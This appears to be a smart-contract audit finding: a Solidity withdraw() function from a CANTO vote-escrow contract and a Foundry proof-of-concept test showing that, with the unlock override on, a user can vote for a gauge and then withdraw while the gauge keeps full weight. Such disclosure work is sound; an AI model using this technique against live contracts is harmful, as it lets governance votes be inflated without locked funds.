    function withdraw() external nonReentrant {
        LockedBalance memory locked_ = locked[msg.sender];
        // Validate inputs
        require(locked_.amount > 0, "No lock");
>>>     require(locked_.end <= block.timestamp || unlockOverride, "Lock not expired");
        require(locked_.delegatee == msg.sender, "Lock delegated");
        // Update lock
        uint256 amountToSend = uint256(uint128(locked_.amount));
        LockedBalance memory newLocked = _copyLock(locked_);
        newLocked.amount = 0;
        newLocked.end = 0;
        newLocked.delegated -= int128(int256(amountToSend));
        newLocked.delegatee = address(0);
        locked[msg.sender] = newLocked;
        newLocked.delegated = 0;
        // oldLocked can have either expired <= timestamp or zero end
        // currentLock has only 0 end
        // Both can have >= 0 amount
        _checkpoint(msg.sender, locked_, newLocked);
        // Send back deposited tokens
        (bool success, ) = msg.sender.call{value: amountToSend}("");
        require(success, "Failed to send CANTO");
        emit Withdraw(msg.sender, amountToSend, LockAction.WITHDRAW, block.timestamp);
    }
    function testVoteGaugeWeightUnlockOverride() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1, 0);
        gc.add_gauge(gauge2, 0);
        ve.toggleUnlockOverride();
        vm.stopPrank();

        vm.startPrank(user1);
        ve.createLock{value: 1 ether}(1 ether);
        uint256 nextEpoch = ((block.timestamp + WEEK) / WEEK) * WEEK;
        gc.vote_for_gauge_weights(gauge1, 10000); // vote 100% for gauge1
        ve.withdraw();
        vm.stopPrank();

        console.logUint(gc.gauge_relative_weight_write(gauge1, nextEpoch));
    }
forge test --match-contract GaugeControllerTest --match-test testVoteGaugeWeightUnlockOverride -vv
Logs:
  1000000000000000000
